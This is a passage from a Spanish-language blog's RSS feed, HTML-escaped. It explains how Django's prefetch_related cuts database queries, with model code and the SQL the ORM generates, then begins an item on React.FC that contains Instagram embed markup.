style=&#34;display:flex;&#34;&gt;&lt;span&gt;       my_app_derivado.name,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       my_app_derivado.principal_id,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       my_app_principal.id,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       my_app_principal.name&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;FROM&lt;/span&gt; my_app_derivado&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;INNER&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;JOIN&lt;/span&gt; my_app_principal&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;ON&lt;/span&gt; (my_app_derivado.principal_id &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; my_app_principal.id)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;prefetch_related&#34;&gt;prefetch_related&lt;/h2&gt;&#xA;&lt;p&gt;Si el método &lt;em&gt;select_related&lt;/em&gt; recupera un único objeto a partir de un campo de relación única, &lt;strong&gt;el método &lt;em&gt;prefetch_related&lt;/em&gt; se usa cuando tenemos una relación múltiple con otro modelo&lt;/strong&gt;, es decir, una relación de tipo &lt;em&gt;ManyToMany&lt;/em&gt; o un &lt;em&gt;ForeignKey&lt;/em&gt; inverso.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/differences-between-django-select_related-and-prefetch_related/images/prefetch_related.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/differences-between-django-select_related-and-prefetch_related/images/prefetch_related.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Esquema del funcionamiento de prefetch_related en django&#34; width=&#34;1500&#34; height=&#34;1000&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Esquema simplificado del funcionamiento de prefetch_related&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Considera este ejemplo, nota el campo &lt;em&gt;ManyToManyField&lt;/em&gt; hacia el modelo &lt;em&gt;Principal&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; models&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Principal&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;256&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;MultiplesPrincipales&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;256&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    principales &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ManyToManyField(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Principal&amp;#34;&lt;/span&gt;, related_name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;multiples&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si accedemos al campo que representa a la relación múltiple de nuestro objeto, sin usar &lt;em&gt;prefetch_related&lt;/em&gt;, estaremos impactando la base de datos con una nueva consulta.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{% for object in queryset %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;p&lt;/span&gt;&amp;gt;{{object.name}}&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;p&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {% for principal in object.principales.all %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#78787e&#34;&gt;&amp;lt;!-- Una nueva consulta cada vez --&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;p&lt;/span&gt;&amp;gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;small&lt;/span&gt;&amp;gt;{{principal.name}}&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;small&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;p&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {% endfor %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{% endfor %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;uso-en-una-consulta-1&#34;&gt;Uso en una consulta&lt;/h3&gt;&#xA;&lt;p&gt;Para usar el método &lt;em&gt;prefetch_related&lt;/em&gt; llámalo al final de nuestra consulta, eligiendo aquel campo que represente la relación de muchos a muchos en nuestro objeto.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;queryset &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; MultiplesPrincipales&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;prefetch_related(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;principales&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;funcionamiento-interno-de-prefetch_related&#34;&gt;Funcionamiento interno de prefetch_related&lt;/h3&gt;&#xA;&lt;p&gt;¿Cómo funciona internamente &lt;em&gt;prefecth_related&lt;/em&gt;? El método &lt;strong&gt;&lt;em&gt;prefetch_related&lt;/em&gt; reemplaza las múltiples consultas SQL por solo 2 consultas SQL: una para la query principal y la otra para los objetos relacionados, posteriormente, unirá los datos usando Python&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; my_app_principal.id,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       my_app_principal.name&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;FROM&lt;/span&gt; my_app_principal&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;INNER&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;JOIN&lt;/span&gt; my_app_multiplesprincipales_principales&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;ON&lt;/span&gt; (my_app_principal.id &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; my_app_multiplesprincipales_principales.principal_id)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;WHERE&lt;/span&gt; my_app_multiplesprincipales_principales.multiplesprincipales_id &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;1&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Las múltiples consultas anteriores quedan reducidas a solo 2 consultas SQL.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; my_app_multiplesprincipales.id,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       my_app_multiplesprincipales.name&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;FROM&lt;/span&gt; my_app_multiplesprincipales&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; (my_app_multiplesprincipales_principales.multiplesprincipales_id) &lt;span style=&#34;color:#ff6ac1&#34;&gt;AS&lt;/span&gt; _prefetch_related_val_multiplesprincipales_id,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       my_app_principal.id,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       my_app_principal.name&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;FROM&lt;/span&gt; my_app_principal&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;INNER&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;JOIN&lt;/span&gt; my_app_multiplesprincipales_principales&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;ON&lt;/span&gt; (my_app_principal.id &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; my_app_multiplesprincipales_principales.principal_id)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;WHERE&lt;/span&gt; my_app_multiplesprincipales_principales.multiplesprincipales_id &lt;span style=&#34;color:#ff6ac1&#34;&gt;IN&lt;/span&gt; (&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;1&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;2&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;3&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;4&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;otros-recursos-relacionados&#34;&gt;Otros recursos relacionados&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://stackoverflow.com/questions/31237042/whats-the-difference-between-select-related-and-prefetch-related-in-django-orm&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;What&amp;rsquo;s the difference between select_related and prefetch_related in Django ORM?&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://buildatscale.tech/select_related-vs-prefetch_related/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Select related vs Prefecth related&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.djangoproject.com/en/dev/ref/models/querysets/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;QuerySET API reference&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Los métodos de Django, &lt;em&gt;select_related&lt;/em&gt; y &lt;em&gt;prefetch_related&lt;/em&gt;, &lt;strong&gt;se usan para reducir el número de queries que se realizan a la base de datos&lt;/strong&gt;. Lo anterior se traduce en tiempo de respuesta para cada vista. Además, usar estos métodos es una de las &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;%28https://coffeebytes.dev/es/software-architecture/como-escalar-django-para-manejar-millones-de-vistas/%29&#34;&gt;acciones a implementar para mejorar el rendimiento de una aplicación de Django.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Solo ten en mente que hay mejores cosas que optimizar en &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/opinion/no-te-obsesiones-con-el-rendimiento-de-tu-aplicacion-web/&#34;&gt;tu aplicación que obsesionarte con su rendimiento&lt;/a&gt;&#xA;, pero sí insistes considera echarle un vistazo a aggregate y annotate, demás de tener cuidado con usar este último pues &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/arregla-querys-lentas-en-django-al-usar-annotate-y-subqueries/&#34;&gt;las subqueries pueden volver tus queries increíblemente lentas.&lt;/a&gt;&#xA;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>¿Por qué usar React.FC podria ser una mala practica?</title>
      <link>https://coffeebytes.dev/es/react/por-que-usar-reactfc-podria-ser-una-mala-practica/</link>
      <pubDate>Wed, 23 Feb 2022 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/react/por-que-usar-reactfc-podria-ser-una-mala-practica/</guid>
      
      <category>react</category>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Cuando usamos Typescript con React y queremos &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/react/que-tipos-o-types-usar-para-componentes-react-con-children/&#34;&gt;pasarle un &lt;em&gt;children&lt;/em&gt; como prop a alguno de nuestros componentes&lt;/a&gt;&#xA;, necesitamos indicar el type. Generalmente se suele usar el type &lt;em&gt;React.FC&lt;/em&gt;, el cual es el nombre abreviado de &lt;em&gt;React.FunctionComponent&lt;/em&gt;. Con esto el mensaje de Typescript que nos advierte de un children con tipo any desaparecerá.&lt;/p&gt;&#xA;&lt;blockquote&#xA;    class=&#34;instagram-media&#34;&#xA;    data-instgrm-captioned&#xA;    data-instgrm-permalink=&#34;https://www.instagram.com/p/CaprxYEs8Uh&#34;&#xA;    data-instgrm-version=&#34;14&#34;&#xA;    style=&#34;&#xA;      background: #fff;&#xA;      border: 0;&#xA;      border-radius: 3px;&#xA;      box-shadow: 0 0 1px 0 rgba(0, 0, 0, 0.5), 0 1px 10px 0 rgba(0, 0, 0, 0.15);&#xA;      margin: 1px;&#xA;      max-width: 540px;&#xA;      min-width: 326px;&#xA;      padding: 0;&#xA;      width: 99.375%;&#xA;      width: -webkit-calc(100% - 2px);&#xA;      width: calc(100% - 2px);&#xA;    &#34;&#xA;  &gt;&#xA;    &lt;div style=&#34;padding: 16px&#34;&gt;&#xA;      &lt;a&#xA;        href=&#34;https://www.instagram.com/p/CaprxYEs8Uh&#34;&#xA;        style=&#34;&#xA;          background: #ffffff;&#xA;          line-height: 0;&#xA;          padding: 0 0;&#xA;          text-align: center;&#xA;          text-decoration: none;&#xA;          width: 100%;&#xA;        &#34;&#xA;        target=&#34;_blank&#34;&#xA;      &gt;&#xA;        &lt;div style=&#34;display: flex; flex-direction: row; align-items: center&#34;&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 50%;&#xA;              flex-grow: 0;&#xA;              height: 40px;&#xA;              margin-right: 14px;&#xA;              width: 40px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              display: flex;&#xA;              flex-direction: column;&#xA;              flex-grow: 1;&#xA;              justify-content: center;&#xA;            &#34;&#xA;          &gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 4px;&#xA;                flex-grow: 0;&#xA;                height: 14px;&#xA;                margin-bottom: 6px;&#xA;                width: 100px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 4px;&#xA;                flex-grow: 0;&#xA;                height: 14px;&#xA;                width: 60px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding: 19% 0&#34;&gt;&lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;display: block; height: 50px; margin: 0 auto 12px; width: 50px&#34;&#xA;        &gt;&#xA;          &lt;svg&#xA;            width=&#34;50px&#34;&#xA;            height=&#34;50px&#34;&#xA;            viewBox=&#34;0 0 60 60&#34;&#xA;            version=&#34;1.1&#34;&#xA;            xmlns=&#34;https://www.w3.org/2000/svg&#34;&#xA;            xmlns:xlink=&#34;https://www.w3.org/1999/xlink&#34;&#xA;          &gt;&#xA;            &lt;g stroke=&#34;none&#34; stroke-width=&#34;1&#34; fill=&#34;none&#34; fill-rule=&#34;evenodd&#34;&gt;&#xA;              &lt;g transform=&#34;translate(-511.000000, -20.000000)&#34; fill=&#34;#000000&#34;&gt;&#xA;                &lt;g&gt;&#xA;                  &lt;path&#xA;                    d=&#34;M556.869,30.41 C554.814,30.41 553.148,32.076 553.148,34.131 C553.148,36.186 554.814,37.852 556.869,37.852 C558.924,37.852 560.59,36.186 560.59,34.131 C560.59,32.076 558.924,30.41 556.869,30.41 M541,60.657 C535.114,60.657 530.342,55.887 530.342,50 C530.342,44.114 535.114,39.342 541,39.342 C546.887,39.342 551.658,44.114 551.658,50 C551.658,55.887 546.887,60.657 541,60.657 M541,33.886 C532.1,33.886 524.886,41.1 524.886,50 C524.886,58.899 532.1,66.113 541,66.113 C549.9,66.113 557.115,58.899 557.115,50 C557.115,41.1 549.9,33.886 541,33.886 M565.378,62.101 C565.244,65.022 564.756,66.606 564.346,67.663 C563.803,69.06 563.154,70.057 562.106,71.106 C561.058,72.155 560.06,72.803 558.662,73.347 C557.607,73.757 556.021,74.244 553.102,74.378 C549.944,74.521 548.997,74.552 541,74.552 C533.003,74.552 532.056,74.521 528.898,74.378 C525.979,74.244 524.393,73.757 523.338,73.347 C521.94,72.803 520.942,72.155 519.894,71.106 C518.846,70.057 518.197,69.06 517.654,67.663 C517.244,66.606 516.755,65.022 516.623,62.101 C516.479,58.943 516.448,57.996 516.448,50 C516.448,42.003 516.479,41.056 516.623,37.899 C516.755,34.978 517.244,33.391 517.654,32.338 C518.197,30.938 518.846,29.942 519.894,28.894 C520.942,27.846 521.94,27.196 523.338,26.654 C524.393,26.244 525.979,25.756 528.898,25.623 C532.057,25.479 533.004,25.448 541,25.448 C548.997,25.448 549.943,25.479 553.102,25.623 C556.021,25.756 557.607,26.244 558.662,26.654 C560.06,27.196 561.058,27.846 562.106,28.894 C563.154,29.942 563.803,30.938 564.346,32.338 C564.756,33.391 565.244,34.978 565.378,37.899 C565.522,41.056 565.552,42.003 565.552,50 C565.552,57.996 565.522,58.943 565.378,62.101 M570.82,37.631 C570.674,34.438 570.167,32.258 569.425,30.349 C568.659,28.377 567.633,26.702 565.965,25.035 C564.297,23.368 562.623,22.342 560.652,21.575 C558.743,20.834 556.562,20.326 553.369,20.18 C550.169,20.033 549.148,20 541,20 C532.853,20 531.831,20.033 528.631,20.18 C525.438,20.326 523.257,20.834 521.349,21.575 C519.376,22.342 517.703,23.368 516.035,25.035 C514.368,26.702 513.342,28.377 512.574,30.349 C511.834,32.258 511.326,34.438 511.181,37.631 C511.035,40.831 511,41.851 511,50 C511,58.147 511.035,59.17 511.181,62.369 C511.326,65.562 511.834,67.743 512.574,69.651 C513.342,71.625 514.368,73.296 516.035,74.965 C517.703,76.634 519.376,77.658 521.349,78.425 C523.257,79.167 525.438,79.673 528.631,79.82 C531.831,79.965 532.853,80.001 541,80.001 C549.148,80.001 550.169,79.965 553.369,79.82 C556.562,79.673 558.743,79.167 560.652,78.425 C562.623,77.658 564.297,76.634 565.965,74.965 C567.633,73.296 568.659,71.625 569.425,69.651 C570.167,67.743 570.674,65.562 570.82,62.369 C570.966,59.17 571,58.147 571,50 C571,41.851 570.966,40.831 570.82,37.631&#34;&#xA;                  &gt;&lt;/path&gt;&#xA;                &lt;/g&gt;&#xA;              &lt;/g&gt;&#xA;            &lt;/g&gt;&#xA;          &lt;/svg&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding-top: 8px&#34;&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              color: #3897f0;&#xA;              font-family: Arial, sans-serif;&#xA;              font-size: 14px;&#xA;              font-style: normal;&#xA;              font-weight: 550;&#xA;              line-height: 18px;&#xA;            &#34;&#xA;          &gt;&#xA;            View this post on Instagram&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding: 12.5% 0&#34;&gt;&lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;&#xA;            display: flex;&#xA;            flex-direction: row;&#xA;            margin-bottom: 14px;&#xA;            align-items: center;&#xA;          &#34;&#xA;        &gt;&#xA;          &lt;div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                height: 12.5px;&#xA;                width: 12.5px;&#xA;                transform: translateX(0px) translateY(7px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                height: 